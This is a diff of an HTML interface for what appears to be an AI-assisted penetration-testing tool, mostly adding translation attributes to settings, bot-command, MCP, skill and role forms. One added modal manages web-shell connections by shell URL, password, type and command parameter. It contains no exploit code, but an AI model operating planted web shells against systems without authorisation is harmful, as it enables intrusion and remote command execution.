@@ -1281,24 +1564,24 @@
</label>
</div>
<div class="form-group">
<label for="robot-wecom-token">Token</label>
<input type="text" id="robot-wecom-token" placeholder="Token" autocomplete="off" />
<label for="robot-wecom-token" data-i18n="settings.robots.wecom.token">Token</label>
<input type="text" id="robot-wecom-token" data-i18n="settings.robots.wecom.tokenPlaceholder" data-i18n-attr="placeholder" placeholder="Token" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-wecom-encoding-aes-key">EncodingAESKey</label>
<input type="text" id="robot-wecom-encoding-aes-key" placeholder="EncodingAESKey(明文模式可留空)" autocomplete="off" />
<label for="robot-wecom-encoding-aes-key" data-i18n="settings.robots.wecom.encodingAesKey">EncodingAESKey</label>
<input type="text" id="robot-wecom-encoding-aes-key" data-i18n="settings.robots.wecom.encodingAesKeyPlaceholder" data-i18n-attr="placeholder" placeholder="EncodingAESKey(明文模式可留空)" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-wecom-corp-id">CorpID</label>
<input type="text" id="robot-wecom-corp-id" placeholder="企业 ID" autocomplete="off" />
<label for="robot-wecom-corp-id" data-i18n="settings.robots.wecom.corpId">CorpID</label>
<input type="text" id="robot-wecom-corp-id" data-i18n="settings.robots.wecom.corpIdPlaceholder" data-i18n-attr="placeholder" placeholder="企业 ID" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-wecom-secret">Secret</label>
<input type="password" id="robot-wecom-secret" placeholder="应用 Secret" autocomplete="off" />
<label for="robot-wecom-secret" data-i18n="settings.robots.wecom.secret">Secret</label>
<input type="password" id="robot-wecom-secret" data-i18n="settings.robots.wecom.secretPlaceholder" data-i18n-attr="placeholder" placeholder="应用 Secret" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-wecom-agent-id">AgentID</label>
<input type="number" id="robot-wecom-agent-id" placeholder="应用 AgentId" />
<label for="robot-wecom-agent-id" data-i18n="settings.robots.wecom.agentId">AgentID</label>
<input type="number" id="robot-wecom-agent-id" data-i18n="settings.robots.wecom.agentIdPlaceholder" data-i18n-attr="placeholder" placeholder="应用 AgentId" />
</div>
</div>
</div>
@@ -1315,13 +1598,13 @@
</label>
</div>
<div class="form-group">
<label for="robot-dingtalk-client-id">Client ID (AppKey)</label>
<input type="text" id="robot-dingtalk-client-id" placeholder="钉钉应用 AppKey" autocomplete="off" />
<label for="robot-dingtalk-client-id" data-i18n="settings.robots.dingtalk.clientIdLabel">Client ID (AppKey)</label>
<input type="text" id="robot-dingtalk-client-id" data-i18n="settings.robots.dingtalk.clientIdPlaceholder" data-i18n-attr="placeholder" placeholder="钉钉应用 AppKey" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-dingtalk-client-secret">Client Secret</label>
<input type="password" id="robot-dingtalk-client-secret" placeholder="钉钉应用 Secret" autocomplete="off" />
<small class="form-hint">需开启机器人能力并配置流式接入</small>
<label for="robot-dingtalk-client-secret" data-i18n="settings.robots.dingtalk.clientSecretLabel">Client Secret</label>
<input type="password" id="robot-dingtalk-client-secret" data-i18n="settings.robots.dingtalk.clientSecretPlaceholder" data-i18n-attr="placeholder" placeholder="钉钉应用 Secret" autocomplete="off" />
<small class="form-hint" data-i18n="settings.robots.dingtalk.streamHint">需开启机器人能力并配置流式接入</small>
</div>
</div>
</div>
@@ -1338,41 +1621,41 @@
</label>
</div>
<div class="form-group">
<label for="robot-lark-app-id">App ID</label>
<input type="text" id="robot-lark-app-id" placeholder="飞书应用 App ID" autocomplete="off" />
<label for="robot-lark-app-id" data-i18n="settings.robots.lark.appIdLabel">App ID</label>
<input type="text" id="robot-lark-app-id" data-i18n="settings.robots.lark.appIdPlaceholder" data-i18n-attr="placeholder" placeholder="飞书应用 App ID" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-lark-app-secret">App Secret</label>
<input type="password" id="robot-lark-app-secret" placeholder="飞书应用 App Secret" autocomplete="off" />
<label for="robot-lark-app-secret" data-i18n="settings.robots.lark.appSecretLabel">App Secret</label>
<input type="password" id="robot-lark-app-secret" data-i18n="settings.robots.lark.appSecretPlaceholder" data-i18n-attr="placeholder" placeholder="飞书应用 App Secret" autocomplete="off" />
</div>
<div class="form-group">
<label for="robot-lark-verify-token">Verify Token(可选)</label>
<input type="text" id="robot-lark-verify-token" placeholder="事件订阅 Verification Token" autocomplete="off" />
<label for="robot-lark-verify-token" data-i18n="settings.robots.lark.verifyTokenLabel">Verify Token(可选)</label>
<input type="text" id="robot-lark-verify-token" data-i18n="settings.robots.lark.verifyTokenPlaceholder" data-i18n-attr="placeholder" placeholder="事件订阅 Verification Token" autocomplete="off" />
</div>
</div>
</div>
<div class="settings-subsection">
<h4>机器人命令说明</h4>
<p class="settings-description">在对话中可发送以下命令(支持中英文):</p>
<h4 data-i18n="settingsRobotsExtra.botCommandsTitle">机器人命令说明</h4>
<p class="settings-description" data-i18n="settingsRobotsExtra.botCommandsDesc">在对话中可发送以下命令(支持中英文):</p>
<ul style="color: var(--text-muted); font-size: 13px; line-height: 1.8; margin: 8px 0 0 16px;">
<li><code>帮助</code> <code>help</code> — 显示本帮助 | Show this help</li>
<li><code>列表</code> <code>list</code> — 列出所有对话标题与 ID | List conversations</li>
<li><code>切换 &lt;ID&gt;</code> <code>switch &lt;ID&gt;</code> — 指定对话继续 | Switch to conversation</li>
<li><code>新对话</code> <code>new</code> — 开启新对话 | Start new conversation</li>
<li><code>清空</code> <code>clear</code> — 清空当前上下文 | Clear context</li>
<li><code>当前</code> <code>current</code> — 显示当前对话 ID 与标题 | Show current conversation</li>
<li><code>停止</code> <code>stop</code> — 中断当前任务 | Stop running task</li>
<li><code>角色</code> <code>roles</code> — 列出所有可用角色 | List roles</li>
<li><code>角色 &lt;&gt;</code> <code>role &lt;name&gt;</code> — 切换当前角色 | Switch role</li>
<li><code>删除 &lt;ID&gt;</code> <code>delete &lt;ID&gt;</code> — 删除指定对话 | Delete conversation</li>
<li><code>版本</code> <code>version</code> — 显示当前版本号 | Show version</li>
<li><code>帮助</code> <code>help</code><span data-i18n="settingsRobotsExtra.botCmdHelp">显示本帮助 | Show this help</span></li>
<li><code>列表</code> <code>list</code><span data-i18n="settingsRobotsExtra.botCmdList">列出所有对话标题与 ID | List conversations</span></li>
<li><code>切换 &lt;ID&gt;</code> <code>switch &lt;ID&gt;</code><span data-i18n="settingsRobotsExtra.botCmdSwitch">指定对话继续 | Switch to conversation</span></li>
<li><code>新对话</code> <code>new</code><span data-i18n="settingsRobotsExtra.botCmdNew">开启新对话 | Start new conversation</span></li>
<li><code>清空</code> <code>clear</code><span data-i18n="settingsRobotsExtra.botCmdClear">清空当前上下文 | Clear context</span></li>
<li><code>当前</code> <code>current</code><span data-i18n="settingsRobotsExtra.botCmdCurrent">显示当前对话 ID 与标题 | Show current conversation</span></li>
<li><code>停止</code> <code>stop</code><span data-i18n="settingsRobotsExtra.botCmdStop">中断当前任务 | Stop running task</span></li>
<li><code>角色</code> <code>roles</code><span data-i18n="settingsRobotsExtra.botCmdRoles">列出所有可用角色 | List roles</span></li>
<li><code>角色 &lt;&gt;</code> <code>role &lt;name&gt;</code><span data-i18n="settingsRobotsExtra.botCmdRole">切换当前角色 | Switch role</span></li>
<li><code>删除 &lt;ID&gt;</code> <code>delete &lt;ID&gt;</code><span data-i18n="settingsRobotsExtra.botCmdDelete">删除指定对话 | Delete conversation</span></li>
<li><code>版本</code> <code>version</code><span data-i18n="settingsRobotsExtra.botCmdVersion">显示当前版本号 | Show version</span></li>
</ul>
<p class="settings-description" style="margin-top: 8px;">除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。Otherwise, send any text for AI penetration testing / security analysis.</p>
<p class="settings-description" style="margin-top: 8px;" data-i18n="settingsRobotsExtra.botCommandsFooter">除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。Otherwise, send any text for AI penetration testing / security analysis.</p>
</div>
<div class="settings-actions">
<button class="btn-primary" onclick="applySettings()">应用配置</button>
<button class="btn-primary" onclick="applySettings()" data-i18n="settings.apply.button">应用配置</button>
</div>
</div>
@@ -1507,18 +1790,18 @@
<div id="external-mcp-modal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
<h2 id="external-mcp-modal-title">添加外部MCP</h2>
<h2 id="external-mcp-modal-title" data-i18n="mcp.addExternalMCP">添加外部MCP</h2>
<span class="modal-close" onclick="closeExternalMCPModal()">&times;</span>
</div>
<div class="modal-body">
<div class="form-group">
<label for="external-mcp-json">配置JSON <span style="color: red;">*</span></label>
<textarea id="external-mcp-json" rows="15" placeholder='{\n "hexstrike-ai": {\n "command": "python3",\n "args": ["/path/to/script.py"],\n "description": "描述",\n "timeout": 300\n }\n}' style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;"></textarea>
<label for="external-mcp-json"><span data-i18n="externalMcpModal.configJson">配置JSON</span> <span style="color: red;">*</span></label>
<textarea id="external-mcp-json" rows="15" data-i18n="externalMcpModal.placeholder" data-i18n-attr="placeholder" style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;"></textarea>
<div class="password-hint">
<strong>配置格式:</strong>JSON对象,key为配置名称,value为配置内容。状态通过"启动/停止"按钮控制,无需在JSON中配置。<br>
<strong>配置示例:</strong><br>
<strong>stdio模式:</strong><br>
<code style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
<strong data-i18n="externalMcpModal.formatLabel">配置格式:</strong><span data-i18n="externalMcpModal.formatDesc">JSON对象,key为配置名称,value为配置内容。状态通过"启动/停止"按钮控制,无需在JSON中配置。</span><br>
<strong data-i18n="externalMcpModal.configExample">配置示例:</strong><br>
<strong data-i18n="externalMcpModal.stdioMode">stdio模式:</strong><br>
<code data-i18n="externalMcpModal.exampleStdio" style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
"hexstrike-ai": {
"command": "python3",
"args": ["/path/to/script.py", "--server", "http://example.com"],
@@ -1526,15 +1809,15 @@
"timeout": 300
}
}</code>
<strong>HTTP模式:</strong><br>
<code style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
<strong data-i18n="externalMcpModal.httpMode">HTTP模式:</strong><br>
<code data-i18n="externalMcpModal.exampleHttp" style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
"cyberstrike-ai-http": {
"transport": "http",
"url": "http://127.0.0.1:8081/mcp"
}
}</code>
<strong>SSE模式:</strong><br>
<code style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
<strong data-i18n="externalMcpModal.sseMode">SSE模式:</strong><br>
<code data-i18n="externalMcpModal.exampleSse" style="display: block; margin: 8px 0; padding: 8px; background: var(--bg-secondary); border-radius: 4px; white-space: pre-wrap;">{
"cyberstrike-ai-sse": {
"transport": "sse",
"url": "http://127.0.0.1:8081/mcp/sse"
@@ -1544,13 +1827,13 @@
<div id="external-mcp-json-error" class="error-message" style="display: none; margin-top: 8px; padding: 8px; background: rgba(220, 53, 69, 0.1); border: 1px solid rgba(220, 53, 69, 0.3); border-radius: 4px; color: var(--error-color); font-size: 0.875rem;"></div>
</div>
<div class="form-group">
<button type="button" class="btn-secondary" onclick="formatExternalMCPJSON()" style="margin-top: 8px;">格式化JSON</button>
<button type="button" class="btn-secondary" onclick="loadExternalMCPExample()" style="margin-top: 8px; margin-left: 8px;">加载示例</button>
<button type="button" class="btn-secondary" onclick="formatExternalMCPJSON()" style="margin-top: 8px;" data-i18n="externalMcpModal.formatJson">格式化JSON</button>
<button type="button" class="btn-secondary" onclick="loadExternalMCPExample()" style="margin-top: 8px; margin-left: 8px;" data-i18n="externalMcpModal.loadExample">加载示例</button>
</div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeExternalMCPModal()">取消</button>
<button class="btn-primary" onclick="saveExternalMCP()">保存</button>
<button class="btn-secondary" onclick="closeExternalMCPModal()" data-i18n="common.cancel">取消</button>
<button class="btn-primary" onclick="saveExternalMCP()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
@@ -1581,7 +1864,7 @@
<div class="attack-chain-visualization-area">
<div class="attack-chain-toolbar">
<div class="attack-chain-info">
<span id="attack-chain-stats">节点: 0 | : 0</span>
<span id="attack-chain-stats">Nodes: 0 | Edges: 0</span>
</div>
<div class="attack-chain-filters">
<input type="text" id="attack-chain-search" data-i18n="attackChainModal.searchPlaceholder" data-i18n-attr="placeholder" placeholder="搜索节点..."
@@ -1666,6 +1949,70 @@
</div>
</div>
<div id="chat-files-edit-modal" class="modal">
<div class="modal-content" style="max-width: 720px;">
<div class="modal-header">
<h2 data-i18n="chatFilesPage.editTitle">编辑文件</h2>
<span class="modal-close" onclick="closeChatFilesEditModal()">&times;</span>
</div>
<div class="modal-body">
<p class="chat-files-modal-path"><code id="chat-files-edit-path"></code></p>
<textarea id="chat-files-edit-textarea" class="form-control chat-files-edit-textarea" rows="18"></textarea>
</div>
<div class="modal-footer">
<button type="button" class="btn-secondary" onclick="closeChatFilesEditModal()" data-i18n="common.cancel">取消</button>
<button type="button" class="btn-primary" onclick="saveChatFilesEdit()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
<div id="chat-files-rename-modal" class="modal">
<div class="modal-content" style="max-width: 480px;">
<div class="modal-header">
<h2 data-i18n="chatFilesPage.renameTitle">重命名</h2>
<span class="modal-close" onclick="closeChatFilesRenameModal()">&times;</span>
</div>
<div class="modal-body">
<label class="chat-files-rename-label">
<span data-i18n="chatFilesPage.newFileName">新文件名</span>
<input type="text" id="chat-files-rename-input" class="form-control" />
</label>
</div>
<div class="modal-footer">
<button type="button" class="btn-secondary" onclick="closeChatFilesRenameModal()" data-i18n="common.cancel">取消</button>
<button type="button" class="btn-primary" onclick="submitChatFilesRename()" data-i18n="common.ok">确定</button>
</div>
</div>
</div>
<div id="chat-files-mkdir-modal" class="modal">
<div class="modal-content chat-files-mkdir-modal-content">
<div class="modal-header">
<h2 data-i18n="chatFilesPage.newFolderTitle">新建文件夹</h2>
<span class="modal-close" onclick="closeChatFilesMkdirModal()">&times;</span>
</div>
<div class="modal-body chat-files-mkdir-body">
<div class="chat-files-mkdir-location" aria-live="polite">
<div class="chat-files-mkdir-location-caption" data-i18n="chatFilesPage.newFolderLocation">位置</div>
<div class="chat-files-mkdir-path-box">
<code class="chat-files-mkdir-path" id="chat-files-mkdir-parent-hint">chat_uploads</code>
</div>
</div>
<label class="chat-files-rename-label chat-files-mkdir-label">
<span class="chat-files-mkdir-field-name">
<svg class="chat-files-mkdir-field-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
<span data-i18n="chatFilesPage.newFolderNameLabel">文件夹名称</span>
</span>
<input type="text" id="chat-files-mkdir-input" class="form-control chat-files-mkdir-input" data-i18n="chatFilesPage.newFolderNamePlaceholder" data-i18n-attr="placeholder" placeholder="仅名称,不含 /" autocomplete="off" />
</label>
</div>
<div class="modal-footer chat-files-mkdir-footer">
<button type="button" class="btn-secondary chat-files-mkdir-btn-cancel" onclick="closeChatFilesMkdirModal()" data-i18n="common.cancel">取消</button>
<button type="button" class="btn-primary chat-files-mkdir-btn-submit" onclick="submitChatFilesMkdir()" data-i18n="common.ok">确定</button>
</div>
</div>
</div>
<!-- Marked.js for Markdown parsing -->
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
<!-- DOMPurify for HTML sanitization to prevent XSS -->
@@ -1687,23 +2034,23 @@
<div id="skill-modal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
<h2 id="skill-modal-title">添加Skill</h2>
<h2 id="skill-modal-title" data-i18n="skillModal.addSkill">添加Skill</h2>
<span class="modal-close" onclick="closeSkillModal()">&times;</span>
</div>
<div class="modal-body">
<div class="form-group">
<label for="skill-name">Skill名称 <span style="color: red;">*</span></label>
<input type="text" id="skill-name" placeholder="例如: sql-injection-testing" required />
<small class="form-hint">只能包含字母、数字、连字符和下划线</small>
<label for="skill-name"><span data-i18n="skillModal.skillName">Skill名称</span> <span style="color: red;">*</span></label>
<input type="text" id="skill-name" data-i18n="skillModal.skillNamePlaceholder" data-i18n-attr="placeholder" placeholder="例如: sql-injection-testing" required />
<small class="form-hint" data-i18n="skillModal.skillNameHint">只能包含字母、数字、连字符和下划线</small>
</div>
<div class="form-group">
<label for="skill-description">描述</label>
<input type="text" id="skill-description" placeholder="Skill的简短描述" />
<label for="skill-description" data-i18n="skillModal.description">描述</label>
<input type="text" id="skill-description" data-i18n="skillModal.descriptionPlaceholder" data-i18n-attr="placeholder" placeholder="Skill的简短描述" />
</div>
<div class="form-group">
<label for="skill-content">内容(Markdown格式) <span style="color: red;">*</span></label>
<textarea id="skill-content" rows="20" placeholder="输入skill内容,支持Markdown格式..." style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;" required></textarea>
<small class="form-hint">支持YAML front matter格式(可选),例如:<br>
<label for="skill-content"><span data-i18n="skillModal.contentLabel">内容(Markdown格式)</span> <span style="color: red;">*</span></label>
<textarea id="skill-content" rows="20" data-i18n="skillModal.contentPlaceholder" data-i18n-attr="placeholder" placeholder="输入skill内容,支持Markdown格式..." style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;" required></textarea>
<small class="form-hint"><span data-i18n="skillModal.contentHint">支持YAML front matter格式(可选),例如:</span><br>
---<br>
name: skill-name<br>
description: Skill描述<br>
@@ -1714,8 +2061,8 @@ version: 1.0.0<br>
</div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeSkillModal()">取消</button>
<button class="btn-primary" onclick="saveSkill()">保存</button>
<button class="btn-secondary" onclick="closeSkillModal()" data-i18n="common.cancel">取消</button>
<button class="btn-primary" onclick="saveSkill()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
@@ -2090,11 +2437,62 @@ version: 1.0.0<br>
</div>
</div>
<!-- WebShell 添加连接模态框 -->
<div id="webshell-modal" class="modal">
<div class="modal-content" style="max-width: 560px;">
<div class="modal-header">
<h2 id="webshell-modal-title" data-i18n="webshell.addConnection">添加连接</h2>
<span class="modal-close" onclick="closeWebshellModal()">&times;</span>
</div>
<div class="modal-body">
<input type="hidden" id="webshell-edit-id" value="" />
<div class="form-group">
<label for="webshell-url"><span data-i18n="webshell.url">Shell 地址</span> <span style="color: red;">*</span></label>
<input type="text" id="webshell-url" data-i18n="webshell.urlPlaceholder" data-i18n-attr="placeholder" placeholder="http(s)://target.com/shell.php" />
</div>
<div class="form-group">
<label for="webshell-password" data-i18n="webshell.password">连接密码/密钥</label>
<input type="text" id="webshell-password" data-i18n="webshell.passwordPlaceholder" data-i18n-attr="placeholder" placeholder="如冰蝎/蚁剑的连接密码" />
</div>
<div class="form-group">
<label for="webshell-type" data-i18n="webshell.type">Shell 类型</label>
<select id="webshell-type">
<option value="php" data-i18n="webshell.typePhp">PHP</option>
<option value="asp" data-i18n="webshell.typeAsp">ASP</option>
<option value="aspx" data-i18n="webshell.typeAspx">ASPX</option>
<option value="jsp" data-i18n="webshell.typeJsp">JSP</option>
<option value="custom" data-i18n="webshell.typeCustom">自定义</option>
</select>
</div>
<div class="form-group">
<label for="webshell-method" data-i18n="webshell.method">请求方式</label>
<select id="webshell-method">
<option value="post" data-i18n="webshell.methodPost">POST</option>
<option value="get" data-i18n="webshell.methodGet">GET</option>
</select>
</div>
<div class="form-group">
<label for="webshell-cmd-param" data-i18n="webshell.cmdParam">命令参数名</label>
<input type="text" id="webshell-cmd-param" data-i18n="webshell.cmdParamPlaceholder" data-i18n-attr="placeholder" placeholder="不填默认为 cmd,如 xxx 则请求为 xxx=命令" />
</div>
<div class="form-group">
<label for="webshell-remark" data-i18n="webshell.remark">备注</label>
<input type="text" id="webshell-remark" data-i18n="webshell.remarkPlaceholder" data-i18n-attr="placeholder" placeholder="便于识别的备注名" />
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn-secondary" id="webshell-test-btn" onclick="testWebshellConnection()" data-i18n="webshell.testConnectivity">测试连通性</button>
<button class="btn-secondary" onclick="closeWebshellModal()" data-i18n="common.cancel">取消</button>
<button class="btn-primary" onclick="saveWebshellConnection()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
<!-- 角色选择弹窗 -->
<div id="role-select-modal" class="modal">
<div class="modal-content role-select-modal-content">
<div class="modal-header">
<h2>选择角色</h2>
<h2 data-i18n="chatGroup.rolePanelTitle">选择角色</h2>
<span class="modal-close" onclick="closeRoleSelectModal()">&times;</span>
</div>
<div class="modal-body role-select-body">
@@ -2107,49 +2505,49 @@ version: 1.0.0<br>
<div id="role-modal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
<h2 id="role-modal-title">添加角色</h2>
<h2 id="role-modal-title" data-i18n="roleModal.addRole">添加角色</h2>
<span class="modal-close" onclick="closeRoleModal()">&times;</span>
</div>
<div class="modal-body">
<div class="form-group">
<label for="role-name">角色名称 <span style="color: red;">*</span></label>
<input type="text" id="role-name" placeholder="输入角色名称" required />
<label for="role-name"><span data-i18n="roleModal.roleName">角色名称</span> <span style="color: red;">*</span></label>
<input type="text" id="role-name" data-i18n="roleModal.roleNamePlaceholder" data-i18n-attr="placeholder" placeholder="输入角色名称" required />
</div>
<div class="form-group">
<label for="role-description">角色描述</label>
<input type="text" id="role-description" placeholder="输入角色描述" />
<label for="role-description" data-i18n="roleModal.roleDescription">角色描述</label>
<input type="text" id="role-description" data-i18n="roleModal.roleDescriptionPlaceholder" data-i18n-attr="placeholder" placeholder="输入角色描述" />
</div>
<div class="form-group">
<label for="role-icon">角色图标</label>
<input type="text" id="role-icon" placeholder="输入emoji图标,例如: 🏆" maxlength="10" />
<small class="form-hint">输入一个emoji作为角色的图标,将显示在角色选择器中。</small>
<label for="role-icon" data-i18n="roleModal.roleIcon">角色图标</label>
<input type="text" id="role-icon" data-i18n="roleModal.roleIconPlaceholder" data-i18n-attr="placeholder" placeholder="输入emoji图标,例如: 🏆" maxlength="10" />
<small class="form-hint" data-i18n="roleModal.roleIconHint">输入一个emoji作为角色的图标,将显示在角色选择器中。</small>
</div>
<div class="form-group">
<label for="role-user-prompt">用户提示词</label>
<textarea id="role-user-prompt" rows="10" placeholder="输入用户提示词,会在用户消息前追加此提示词..."></textarea>
<small class="form-hint">此提示词会追加到用户消息前,用于指导AI的行为。注意:这不会修改系统提示词。</small>
<label for="role-user-prompt" data-i18n="roleModal.userPrompt">用户提示词</label>
<textarea id="role-user-prompt" rows="10" data-i18n="roleModal.userPromptPlaceholder" data-i18n-attr="placeholder" placeholder="输入用户提示词,会在用户消息前追加此提示词..."></textarea>
<small class="form-hint" data-i18n="roleModal.userPromptHint">此提示词会追加到用户消息前,用于指导AI的行为。注意:这不会修改系统提示词。</small>
</div>
<div class="form-group" id="role-tools-section">
<label>关联的工具(可选)</label>
<label data-i18n="roleModal.relatedTools">关联的工具(可选)</label>
<div id="role-tools-default-hint" class="role-tools-default-hint" style="display: none;">
<div class="role-tools-default-info">
<span class="role-tools-default-icon"></span>
<div class="role-tools-default-content">
<div class="role-tools-default-title">默认角色使用所有工具</div>
<div class="role-tools-default-desc">默认角色会自动使用MCP管理中启用的所有工具,无需单独配置。</div>
<div class="role-tools-default-title" data-i18n="roleModal.defaultRoleToolsTitle">默认角色使用所有工具</div>
<div class="role-tools-default-desc" data-i18n="roleModal.defaultRoleToolsDesc">默认角色会自动使用MCP管理中启用的所有工具,无需单独配置。</div>
</div>
</div>
</div>
<div class="role-tools-controls">
<div class="role-tools-actions">
<button type="button" class="btn-secondary" onclick="selectAllRoleTools()">全选</button>
<button type="button" class="btn-secondary" onclick="deselectAllRoleTools()">全不选</button>
<button type="button" class="btn-secondary" onclick="selectAllRoleTools()" data-i18n="roleModal.selectAll">全选</button>
<button type="button" class="btn-secondary" onclick="deselectAllRoleTools()" data-i18n="roleModal.deselectAll">全不选</button>
<div class="role-tools-search-box">
<input type="text" id="role-tools-search" placeholder="搜索工具..."
<input type="text" id="role-tools-search" data-i18n="roleModal.searchToolsPlaceholder" data-i18n-attr="placeholder" placeholder="搜索工具..."
oninput="searchRoleTools(this.value)"
onkeypress="if(event.key === 'Enter') searchRoleTools(this.value)" />
<button class="role-tools-search-clear" id="role-tools-search-clear"
onclick="clearRoleToolsSearch()" style="display: none;" title="清除搜索">
onclick="clearRoleToolsSearch()" style="display: none;" data-i18n="common.clearSearch" data-i18n-attr="title" title="清除搜索">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2"/>
<path d="M15 9l-6 6M9 9l6 6" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
@@ -2160,22 +2558,22 @@ version: 1.0.0<br>
<div id="role-tools-stats" class="role-tools-stats"></div>
</div>
<div id="role-tools-list" class="role-tools-list">
<div class="tools-loading">正在加载工具列表...</div>
<div class="tools-loading" data-i18n="roleModal.loadingTools">正在加载工具列表...</div>
</div>
<small class="form-hint">勾选要关联的工具,留空则使用MCP管理中的全部工具配置。</small>
<small class="form-hint" data-i18n="roleModal.relatedToolsHint">勾选要关联的工具,留空则使用MCP管理中的全部工具配置。</small>
</div>
<div class="form-group" id="role-skills-section">
<label>关联的Skills(可选)</label>
<label data-i18n="roleModal.relatedSkills">关联的Skills(可选)</label>
<div class="role-skills-controls">
<div class="role-skills-actions">
<button type="button" class="btn-secondary" onclick="selectAllRoleSkills()">全选</button>
<button type="button" class="btn-secondary" onclick="deselectAllRoleSkills()">全不选</button>
<button type="button" class="btn-secondary" onclick="selectAllRoleSkills()" data-i18n="roleModal.selectAll">全选</button>
<button type="button" class="btn-secondary" onclick="deselectAllRoleSkills()" data-i18n="roleModal.deselectAll">全不选</button>
<div class="role-skills-search-box">
<input type="text" id="role-skills-search" placeholder="搜索skill..."
<input type="text" id="role-skills-search" data-i18n="roleModal.searchSkillsPlaceholder" data-i18n-attr="placeholder" placeholder="搜索skill..."
oninput="searchRoleSkills(this.value)"
onkeypress="if(event.key === 'Enter') searchRoleSkills(this.value)" />
<button class="role-skills-search-clear" id="role-skills-search-clear"
onclick="clearRoleSkillsSearch()" style="display: none;" title="清除搜索">
onclick="clearRoleSkillsSearch()" style="display: none;" data-i18n="common.clearSearch" data-i18n-attr="title" title="清除搜索">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2"/>
<path d="M15 9l-6 6M9 9l6 6" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
@@ -2186,21 +2584,21 @@ version: 1.0.0<br>
<div id="role-skills-stats" class="role-skills-stats"></div>
</div>
<div id="role-skills-list" class="role-skills-list">
<div class="skills-loading">正在加载skills列表...</div>
<div class="skills-loading" data-i18n="roleModal.loadingSkills">正在加载skills列表...</div>
</div>
<small class="form-hint">勾选要关联的skills,这些skills的内容会在执行任务前注入到系统提示词中,帮助AI更好地理解相关专业知识。</small>
<small class="form-hint" data-i18n="roleModal.relatedSkillsHint">勾选要关联的skills,这些skills的内容会在执行任务前注入到系统提示词中,帮助AI更好地理解相关专业知识。</small>
</div>
<div class="form-group">
<label class="checkbox-label">
<input type="checkbox" id="role-enabled" class="modern-checkbox" checked />
<span class="checkbox-custom"></span>
<span class="checkbox-text">启用此角色</span>
<span class="checkbox-text" data-i18n="roleModal.enableRole">启用此角色</span>
</label>
</div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeRoleModal()">取消</button>
<button class="btn-primary" onclick="saveRole()">保存</button>
<button class="btn-secondary" onclick="closeRoleModal()" data-i18n="common.cancel">取消</button>
<button class="btn-primary" onclick="saveRole()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
@@ -2211,6 +2609,7 @@ version: 1.0.0<br>
<script src="/static/js/auth.js"></script>
<script src="/static/js/info-collect.js"></script>
<script src="/static/js/router.js"></script>
<script src="/static/js/agents.js"></script>
<script src="/static/js/dashboard.js"></script>
<script src="/static/js/monitor.js"></script>
<script src="/static/js/chat.js"></script>
@@ -2221,6 +2620,8 @@ version: 1.0.0<br>
<script src="/static/js/knowledge.js"></script>
<script src="/static/js/skills.js"></script>
<script src="/static/js/vulnerability.js?v=4"></script>
<script src="/static/js/webshell.js"></script>
<script src="/static/js/chat-files.js"></script>
<script src="/static/js/tasks.js"></script>
<script src="/static/js/roles.js"></script>
</body>